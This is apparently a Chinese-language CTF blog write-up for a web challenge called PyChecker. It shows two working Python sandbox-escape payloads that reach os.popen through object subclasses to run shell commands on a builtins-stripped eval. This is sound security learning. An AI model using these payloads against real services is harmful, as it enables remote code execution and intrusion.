PyChecker


Web - PyChecker Writeup

分析附件

ns = {'__builtins__': {}} 禁用了所有的内置函数
用eval执行 但是所有内置函数被step over

沙箱逃逸

加载子类 把子类列表转字符串 作为错误信息打印

1
2
def dump(_ = {}['{}'.format((0).__class__.__base__.__subclasses__())]):
pass

子类列表

从子类列表找os.wrap_close的位次 index=166
加载os.wrap_close 调用popen 实现RCE

1
2
def rce(_ = {}[(0).__class__.__base__.__subclasses__()[166].__init__.__globals__['popen']('ls /').read()]):
pass

最终在/home/ctf找到flag
Flag

感谢出题人审阅 辛苦了


文章作者: 菜叶片
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 菜叶片 !
  目录